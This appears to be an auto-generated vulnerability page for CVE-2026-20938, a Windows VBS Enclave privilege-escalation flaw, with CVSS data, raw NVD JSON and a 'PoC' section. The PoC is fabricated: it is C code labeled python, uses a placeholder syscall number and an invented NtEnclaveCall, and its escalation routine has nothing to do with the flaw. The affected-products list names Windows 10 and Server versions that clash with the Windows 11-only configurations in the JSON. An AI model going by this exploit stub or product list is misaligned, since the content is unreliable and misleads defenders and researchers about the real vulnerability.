Security Vulnerability Report
中文
CVE-2026-20938 CVSS 7.8 HIGH

CVE-2026-20938

Published: 2026-01-13 18:16:21
Last Modified: 2026-01-16 15:47:57

Description

Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:* - VULNERABLE
Windows 10 1809/1903/1909/2004/20H2/21H1/21H2 (32位和64位)
Windows 11 21H2/22H2
Windows Server 2019/2022
Windows Enterprise/Education版本(VBS功能默认启用)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20938 PoC - Conceptual demonstration // Note: This is a simplified conceptual example for educational purposes only #include <windows.h> #include <ntstatus.h> // VBS Enclave system call numbers (placeholder values) #define ENCLAVE_SYSCALL 0x1234 typedef struct _ENCLAVE_POINTER_INFO { PVOID UserPointer; SIZE_T Size; ULONG Flags; } ENCLAVE_POINTER_INFO, *PENCLAVE_POINTER_INFO; // Trigger the untrusted pointer dereference vulnerability BOOL TriggerVBSEnclaveVulnerability(PVOID MaliciousPointer) { HANDLE hEnclave = NULL; ENCLAVE_POINTER_INFO PointerInfo = {0}; // Setup pointer info structure with attacker-controlled pointer PointerInfo.UserPointer = MaliciousPointer; PointerInfo.Size = 0x1000; PointerInfo.Flags = 0x00000001; // Trigger vulnerable code path via Enclave system call NTSTATUS status = NtEnclaveCall( ENCLAVE_SYSCALL, &PointerInfo, sizeof(ENCLAVE_POINTER_INFO), NULL, 0 ); return NT_SUCCESS(status); } // Privilege escalation via token manipulation BOOL EscalatePrivilege() { HANDLE hToken = NULL; HANDLE hProcess = GetCurrentProcess(); TOKEN_PRIVILEGES priv = {0}; // Open process token with TOKEN_ADJUST_PRIVILEGES if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return FALSE; } // Enable SeDebugPrivilege priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; priv.Privileges[0].Luid = RtlConvertUlongToLuid(SE_DEBUG_PRIVILEGE); AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, 0); // At this point, if VBS Enclave vulnerability was exploited, // attacker would have achieved SYSTEM-level code execution return TRUE; } int main() { printf("CVE-2026-20938 PoC Trigger\n"); // Allocate malicious memory region PVOID MaliciousRegion = VirtualAlloc( NULL, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); if (MaliciousRegion) { TriggerVBSEnclaveVulnerability(MaliciousRegion); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20938", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:20.980", "lastModified": "2026-01-16T15:47:57.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted pointer dereference in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Desreferencia de puntero no confiable en el enclave de Seguridad Basada en Virtualización (VBS) de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-822"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "7D2B0BB9-E94A-420E-8E53-A4C1136DE73E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "78C4B71B-5345-4D83-A0A9-A15F783CF9A9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "208734FD-5175-4856-9D08-ED6CFF64AA14"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "846261D4-ECC2-4DCB-8F8F-F27F8C99F061"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "33E138A3-968B-4109-AC13-D488685F0AF2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "CC1FE5A1-3E6E-4606-899B-BF7BF3D3DD8D"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20938", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}